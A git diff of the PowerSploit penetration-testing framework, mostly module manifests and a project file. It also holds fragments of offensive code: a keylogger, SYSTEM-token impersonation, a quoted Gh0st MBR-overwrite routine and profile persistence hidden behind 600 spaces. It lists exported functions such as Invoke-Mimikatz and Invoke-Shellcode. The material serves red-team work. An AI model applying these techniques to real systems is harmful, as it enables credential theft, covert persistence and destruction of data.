# Copyright statement for this module # Copyright statement for this module
Copyright = 'BSD 3-Clause' Copyright = 'BSD 3-Clause'
@ -30,18 +27,6 @@ FormatsToProcess = 'Get-VaultCredential.ps1xml'
# Functions to export from this module # Functions to export from this module
FunctionsToExport = '*' FunctionsToExport = '*'
# Cmdlets to export from this module
CmdletsToExport = '*'
# Variables to export from this module
VariablesToExport = ''
# Aliases to export from this module
AliasesToExport = ''
# List of all modules packaged with this module.
ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'})
# List of all files packaged with this module # List of all files packaged with this module
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1', FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1', 'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1',

View File

@ -9,7 +9,6 @@ function Get-GPPPassword {
License: BSD 3-Clause License: BSD 3-Clause
Required Dependencies: None Required Dependencies: None
Optional Dependencies: None Optional Dependencies: None
Version: 2.4.2
.DESCRIPTION .DESCRIPTION

View File

@ -12,12 +12,16 @@ function Get-Keystrokes {
.PARAMETER LogPath .PARAMETER LogPath
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to '$($Env:TEMP)\key.log'. Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.
.PARAMETER CollectionInterval .PARAMETER CollectionInterval
Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely. Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
.PARAMETER PollingInterval
Specifies the time in milliseconds to wait between calls to GetAsyncKeyState. Defaults to 40 milliseconds.
.EXAMPLE .EXAMPLE
Get-Keystrokes -LogPath C:\key.log Get-Keystrokes -LogPath C:\key.log
@ -26,6 +30,10 @@ function Get-Keystrokes {
Get-Keystrokes -CollectionInterval 20 Get-Keystrokes -CollectionInterval 20
.EXAMPLE
Get-Keystrokes -PollingInterval 35
.LINK .LINK
http://www.obscuresec.com/ http://www.obscuresec.com/
@ -39,7 +47,11 @@ function Get-Keystrokes {
[Parameter(Position = 1)] [Parameter(Position = 1)]
[UInt32] [UInt32]
$CollectionInterval $CollectionInterval,
[Parameter(Position = 2)]
[Int32]
$PollingInterval = 40
) )
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath) $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
@ -139,7 +151,7 @@ function Get-Keystrokes {
$ImportDll = $TypeBuilder.CreateType() $ImportDll = $TypeBuilder.CreateType()
} }
Start-Sleep -Milliseconds 40 Start-Sleep -Milliseconds $PollingInterval
try try
{ {

View File

@ -1,4 +1,4 @@
function Get-VaultCredential function Get-VaultCredential
{ {
<# <#
.SYNOPSIS .SYNOPSIS
@ -398,4 +398,4 @@ Only web credentials can be displayed in cleartext.
$null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle) $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle)
} }
} }
} }

View File

@ -13,7 +13,6 @@ function Invoke-CredentialInjection
License: BSD 3-Clause License: BSD 3-Clause
Required Dependencies: None Required Dependencies: None
Optional Dependencies: None Optional Dependencies: None
Version: 1.1
.DESCRIPTION .DESCRIPTION

File diff suppressed because one or more lines are too long

View File

@ -25,8 +25,6 @@ Contributors: This script has a byte array hardcoded, which contains a DLL wich
License: GPLv3 or later License: GPLv3 or later
Required Dependencies: None Required Dependencies: None
Optional Dependencies: None Optional Dependencies: None
Version: 1.1
ReflectivePEInjection version: 1.1
.DESCRIPTION .DESCRIPTION
@ -818,24 +816,12 @@ $RemoteScriptBlock = {
[IntPtr] [IntPtr]
$StartAddress, $StartAddress,
[Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)]
[IntPtr]
$EndAddress,
[Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
[IntPtr] [IntPtr]
$Size $Size
) )
[IntPtr]$FinalEndAddress = [IntPtr]::Zero [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
if ($PsCmdlet.ParameterSetName -eq "Size")
{
[IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
}
else
{
$FinalEndAddress = $EndAddress
}
$PEEndAddress = $PEInfo.EndAddress $PEEndAddress = $PEInfo.EndAddress

View File

@ -49,8 +49,6 @@ Author: Joe Bialek, Twitter: @JosephBialek
License: BSD 3-Clause License: BSD 3-Clause
Required Dependencies: None Required Dependencies: None
Optional Dependencies: None Optional Dependencies: None
Version: 1.11
(1.1 -> 1.11: PassThru of System.Diagnostics.Process object added by Rune Mariboe, https://www.linkedin.com/in/runemariboe)
.DESCRIPTION .DESCRIPTION
@ -1685,8 +1683,13 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
$AllTokens = @() $AllTokens = @()
#First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token. #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token.
#Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges, so impersonate the wininit token. #Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges.
$systemTokenInfo = Get-PrimaryToken -ProcessId (Get-Process wininit | where {$_.SessionId -eq 0}).Id #We need to enumrate all processes running as SYSTEM and find one that we can use.
$SystemTokens = Get-Process -IncludeUserName | Where {$_.Username -eq "NT AUTHORITY\SYSTEM"}
ForEach ($SystemToken in $SystemTokens)
{
$SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.Id -WarningAction SilentlyContinue -ErrorAction SilentlyContinue
}
if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken))) if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken)))
{ {
Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens" Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens"

View File

@ -1,4 +1,4 @@
function Get-VolumeShadowCopy function Get-VolumeShadowCopy
{ {
<# <#
.SYNOPSIS .SYNOPSIS
@ -10,7 +10,6 @@
License: BSD 3-Clause License: BSD 3-Clause
Required Dependencies: None Required Dependencies: None
Optional Dependencies: None Optional Dependencies: None
Version: 2.0.0
#> #>
$UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
@ -35,7 +34,6 @@ function New-VolumeShadowCopy
License: BSD 3-Clause License: BSD 3-Clause
Required Dependencies: None Required Dependencies: None
Optional Dependencies: None Optional Dependencies: None
Version: 2.0.0
.DESCRIPTION .DESCRIPTION
@ -121,7 +119,6 @@ function Remove-VolumeShadowCopy
License: BSD 3-Clause License: BSD 3-Clause
Required Dependencies: None Required Dependencies: None
Optional Dependencies: None Optional Dependencies: None
Version: 2.0.0
.DESCRIPTION .DESCRIPTION
@ -180,7 +177,6 @@ function Mount-VolumeShadowCopy
License: BSD 3-Clause License: BSD 3-Clause
Required Dependencies: None Required Dependencies: None
Optional Dependencies: None Optional Dependencies: None
Version: 2.0.0
.DESCRIPTION .DESCRIPTION
@ -289,4 +285,4 @@ function Mount-VolumeShadowCopy
{ {
} }
} }

View File

@ -1,10 +1,10 @@
@{ @{
# Script module or binary module file associated with this manifest. # Script module or binary module file associated with this manifest.
ModuleToProcess = 'Mayhem.psm1' ModuleToProcess = 'Mayhem.psm1'
# Version number of this module. # Version number of this module.
ModuleVersion = '1.0.0.0' ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module # ID used to uniquely identify this module
GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c' GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c'
@ -12,9 +12,6 @@ GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c'
# Author of this module # Author of this module
Author = 'Matthew Graeber' Author = 'Matthew Graeber'
# Company or vendor of this module
CompanyName = ''
# Copyright statement for this module # Copyright statement for this module
Copyright = 'BSD 3-Clause' Copyright = 'BSD 3-Clause'
@ -24,64 +21,10 @@ Description = 'PowerSploit Mayhem Module'
# Minimum version of the Windows PowerShell engine required by this module # Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0' PowerShellVersion = '2.0'
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of the .NET Framework required by this module
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = ''
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module # Functions to export from this module
FunctionsToExport = '*' FunctionsToExport = '*'
# Cmdlets to export from this module
CmdletsToExport = '*'
# Variables to export from this module
VariablesToExport = ''
# Aliases to export from this module
AliasesToExport = ''
# List of all modules packaged with this module.
ModuleList = @(@{ModuleName = 'Mayhem'; ModuleVersion = '1.0.0.0'; GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c'})
# List of all files packaged with this module # List of all files packaged with this module
FileList = 'Mayhem.psm1', 'Mayhem.psd1', 'Usage.md' FileList = 'Mayhem.psm1', 'Mayhem.psd1', 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
} }

View File

@ -1,4 +1,4 @@
function Set-MasterBootRecord function Set-MasterBootRecord
{ {
<# <#
.SYNOPSIS .SYNOPSIS
@ -57,7 +57,7 @@ int CGh0stApp::KillMBR()
DWORD dwBytesWritten, dwBytesReturned; DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0}; BYTE pMBR[512] = {0};
// 重新构造MBR // ????MBR
memcpy(pMBR, scode, sizeof(scode) - 1); memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55; pMBR[510] = 0x55;
pMBR[511] = 0xAA; pMBR[511] = 0xAA;
@ -85,7 +85,7 @@ int CGh0stApp::KillMBR()
&dwBytesReturned, &dwBytesReturned,
NULL NULL
); );
// 写入病毒内容 // ??????
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl DeviceIoControl
( (
@ -363,4 +363,4 @@ Set-CriticalProcess -Force -Verbose
{ {
Stop-Process -Id $PID Stop-Process -Id $PID
} }
} }

View File

@ -4,7 +4,7 @@
ModuleToProcess = 'Persistence.psm1' ModuleToProcess = 'Persistence.psm1'
# Version number of this module. # Version number of this module.
ModuleVersion = '1.1.1.0' ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module # ID used to uniquely identify this module
GUID = '633d0f10-a056-41da-869d-6d2f75430195' GUID = '633d0f10-a056-41da-869d-6d2f75430195'
@ -24,9 +24,6 @@ PowerShellVersion = '2.0'
# Functions to export from this module # Functions to export from this module
FunctionsToExport = '*' FunctionsToExport = '*'
# Cmdlets to export from this module
CmdletsToExport = '*'
# List of all files packaged with this module # List of all files packaged with this module
FileList = 'Persistence.psm1', 'Persistence.psd1', 'Usage.md' FileList = 'Persistence.psm1', 'Persistence.psd1', 'Usage.md'

View File

@ -660,7 +660,8 @@ if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::G
{$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER} {$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER}
else else
{$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER} {$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER}
' '*600+$Script.ToString()|Out-File $Prof -A -NoC -Fo mkdir (Split-Path -Parent $Prof)
(gc $Prof) + (' ' * 600 + $Script)|Out-File $Prof -Fo
iex $Payload|Out-Null iex $Payload|Out-Null
Write-Output $Payload} Write-Output $Payload}
else else

View File

@ -3,7 +3,7 @@
ModuleToProcess = 'PowerSploit.psm1' ModuleToProcess = 'PowerSploit.psm1'
# Version number of this module. # Version number of this module.
ModuleVersion = '1.0.0.0' ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module # ID used to uniquely identify this module
GUID = '6753b496-d842-40a3-924a-0f09e248640c' GUID = '6753b496-d842-40a3-924a-0f09e248640c'
@ -11,35 +11,156 @@ GUID = '6753b496-d842-40a3-924a-0f09e248640c'
# Author of this module # Author of this module
Author = 'Matthew Graeber' Author = 'Matthew Graeber'
# Company or vendor of this module
CompanyName = ''
# Copyright statement for this module # Copyright statement for this module
Copyright = 'BSD 3-Clause' Copyright = 'BSD 3-Clause'
# Description of the functionality provided by this module # Description of the functionality provided by this module
Description = 'PowerSploit Root Module' Description = 'PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers and red team operator during all phases of an engagement.'
# Minimum version of the Windows PowerShell engine required by this module # Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0' PowerShellVersion = '2.0'
# Functions to export from this module # Functions to export from this module
FunctionsToExport = '*' FunctionsToExport = @(
'Add-NetUser',
# Cmdlets to export from this module 'Add-ObjectAcl',
CmdletsToExport = '*' 'Add-Persistence',
'Convert-NameToSid',
# Variables to export from this module 'Convert-NT4toCanonical',
VariablesToExport = '' 'Convert-SidToName',
'Copy-ClonedFile',
# Aliases to export from this module 'Find-AVSignature',
AliasesToExport = '' 'Find-ComputerField',
'Find-DLLHijack',
'Find-ForeignGroup',
'Find-ForeignUser',
'Find-GPOComputerAdmin',
'Find-GPOLocation',
'Find-InterestingFile',
'Find-LocalAdminAccess',
'Find-PathHijack',
'Find-UserField',
'Get-ADObject',
'Get-ApplicationHost',
'Get-CachedRDPConnection',
'Get-ComputerDetails',
'Get-ComputerProperty',
'Get-DFSshare',
'Get-DomainPolicy',
'Get-ExploitableSystem',
'Get-GPPPassword',
'Get-HttpStatus',
'Get-Keystrokes',
'Get-LastLoggedOn',
'Get-NetComputer',
'Get-NetDomain',
'Get-NetDomainController',
'Get-NetDomainTrust',
'Get-NetFileServer',
'Get-NetForest',
'Get-NetForestCatalog',
'Get-NetForestDomain',
'Get-NetForestTrust',
'Get-NetGPO',
'Get-NetGPOGroup',
'Get-NetGroup',
'Get-NetGroupMember',
'Get-NetLocalGroup',
'Get-NetLoggedon',
'Get-NetOU',
'Get-NetProcess',
'Get-NetRDPSession',
'Get-NetSession',
'Get-NetShare',
'Get-NetSite',
'Get-NetSubnet',
'Get-NetUser',
'Get-ObjectAcl',
'Get-PathAcl',
'Get-Proxy',
'Get-RegAlwaysInstallElevated',
'Get-RegAutoLogon',
'Get-SecurityPackages',
'Get-ServiceDetail',
'Get-ServiceFilePermission',
'Get-ServicePermission',
'Get-ServiceUnquoted',
'Get-TimedScreenshot',
'Get-UnattendedInstallFile',
'Get-UserEvent',
'Get-UserProperty',
'Get-VaultCredential',
'Get-VolumeShadowCopy',
'Get-VulnAutoRun',
'Get-VulnSchTask',
'Get-Webconfig',
'Install-ServiceBinary',
'Install-SSP',
'Invoke-ACLScanner',
'Invoke-AllChecks',
'Invoke-CheckLocalAdminAccess',
'Invoke-CredentialInjection',
'Invoke-DllInjection',
'Invoke-EnumerateLocalAdmin',
'Invoke-EventHunter',
'Invoke-FileFinder',
'Invoke-MapDomainTrust',
'Invoke-Mimikatz',
'Invoke-NinjaCopy',
'Invoke-Portscan',
'Invoke-ProcessHunter',
'Invoke-ReflectivePEInjection',
'Invoke-ReverseDnsLookup',
'Invoke-ServiceAbuse',
'Invoke-ShareFinder',
'Invoke-Shellcode',
'Invoke-TokenManipulation',
'Invoke-UserHunter',
'Invoke-WmiCommand',
'Mount-VolumeShadowCopy',
'New-ElevatedPersistenceOption',
'New-UserPersistenceOption',
'New-VolumeShadowCopy',
'Out-CompressedDll',
'Out-EncodedCommand',
'Out-EncryptedScript',
'Out-Minidump',
'Remove-Comments',
'Remove-VolumeShadowCopy',
'Restore-ServiceBinary',
'Set-ADObject',
'Set-CriticalProcess',
'Set-MacAttribute',
'Set-MasterBootRecord',
'Write-HijackDll',
'Write-ServiceBinary',
'Write-UserAddMSI'
)
# List of all modules packaged with this module. # List of all modules packaged with this module.
ModuleList = @( @{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'}, ModuleList = @( @{ModuleName = 'AntivirusBypass'; ModuleVersion = '3.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'},
@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'}, @{ModuleName = 'CodeExecution'; ModuleVersion = '3.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'},
@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'}, @{ModuleName = 'Exfiltration'; ModuleVersion = '3.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'},
@{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'}, @{ModuleName = 'Recon'; ModuleVersion = '3.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'},
@{ModuleName = 'ScriptModification'; ModuleVersion = '1.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'}, @{ModuleName = 'ScriptModification'; ModuleVersion = '3.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'},
@{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'} ) @{ModuleName = 'Persistence'; ModuleVersion = '3.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'},
@{ModuleName = 'PrivEsc'; ModuleVersion = '3.0.0.0'; GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56'} )
PrivateData = @{
PSData = @{
# Tags applied to this module. These help with module discovery in online galleries.
Tags = @('security','pentesting','red team','offense')
# A URL to the license for this module.
LicenseUri = 'http://www.apache.org/licenses/LICENSE-2.0.html'
# A URL to the main website for this project.
ProjectUri = 'https://github.com/PowerShellMafia/PowerSploit'
}
}
} }

View File

@ -1 +1 @@
Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer } | % { Import-Module $_.FullName -DisableNameChecking } Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer -and ($_.Name -ne 'Tests') } | % { Import-Module $_.FullName -DisableNameChecking }

210
PowerSploit.pssproj Normal file
View File

@ -0,0 +1,210 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Release</Configuration>
<SchemaVersion>2.0</SchemaVersion>
<ProjectGuid>6CAFC0C6-A428-4d30-A9F9-700E829FEA51</ProjectGuid>
<OutputType>Exe</OutputType>
<RootNamespace>PowerSploit</RootNamespace>
<AssemblyName>PowerSploit</AssemblyName>
<Name>PowerSploit</Name>
<ProjectHome />
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Compile Include="AntivirusBypass\AntivirusBypass.psd1" />
<Compile Include="AntivirusBypass\AntivirusBypass.psm1" />
<Compile Include="AntivirusBypass\Find-AVSignature.ps1" />
<Compile Include="AntivirusBypass\Usage.md" />
<Compile Include="CodeExecution\CodeExecution.psd1" />
<Compile Include="CodeExecution\CodeExecution.psm1" />
<Compile Include="CodeExecution\Invoke-DllInjection.ps1" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection.ps1" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL.sln" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\DemoDLL.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\DemoDLL.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\DemoDLL.vcxproj" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\DemoDLL.vcxproj.filters" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\dllmain.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\ReadMe.txt" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\stdafx.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\stdafx.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\targetver.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess.sln" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess.vcxproj" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess.vcxproj.filters" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\dllmain.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\ReadMe.txt" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\stdafx.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\stdafx.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\targetver.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe.sln" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\DemoExe_MDd.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\DemoExe_MDd.vcxproj" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\DemoExe_MDd.vcxproj.filters" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\ReadMe.txt" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\stdafx.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\stdafx.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\targetver.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\DemoExe_MD.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\DemoExe_MD.vcxproj" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\DemoExe_MD.vcxproj.filters" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\ReadMe.txt" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\stdafx.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\stdafx.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\targetver.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo.sln" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\ExeToInjectInTo.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\ExeToInjectInTo.vcxproj" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\ExeToInjectInTo.vcxproj.filters" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\ReadMe.txt" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\stdafx.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\stdafx.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\targetver.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\readme.txt" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x64\CallDllMain.asm" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x64\ExitThread.asm" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x64\GetFuncAddress.asm" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x64\LoadLibraryA.asm" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x86\CallDllMain.asm" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x86\ExitThread.asm" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x86\GetProcAddress.asm" />
<Compile Include="CodeExecution\Invoke-Shellcode.ps1" />
<Compile Include="CodeExecution\Invoke-WmiCommand.ps1" />
<Compile Include="CodeExecution\Usage.md" />
<Compile Include="Exfiltration\Exfiltration.psd1" />
<Compile Include="Exfiltration\Exfiltration.psm1" />
<Compile Include="Exfiltration\Get-GPPPassword.ps1" />
<Compile Include="Exfiltration\Get-Keystrokes.ps1" />
<Compile Include="Exfiltration\Get-TimedScreenshot.ps1" />
<Compile Include="Exfiltration\Get-VaultCredential.ps1" />
<Compile Include="Exfiltration\Get-VaultCredential.ps1xml" />
<Compile Include="Exfiltration\Invoke-CredentialInjection.ps1" />
<Compile Include="Exfiltration\Invoke-Mimikatz.ps1" />
<Compile Include="Exfiltration\Invoke-NinjaCopy.ps1" />
<Compile Include="Exfiltration\Invoke-TokenManipulation.ps1" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser.sln" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\LogonUser.cpp" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\LogonUser.vcxproj" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\LogonUser.vcxproj.filters" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\ReadMe.txt" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\stdafx.cpp" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\stdafx.h" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\targetver.h" />
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\dllmain.cpp" />
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\logon.cpp" />
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\logon.vcxproj" />
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\logon.vcxproj.filters" />
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\ReadMe.txt" />
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\stdafx.cpp" />
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\stdafx.h" />
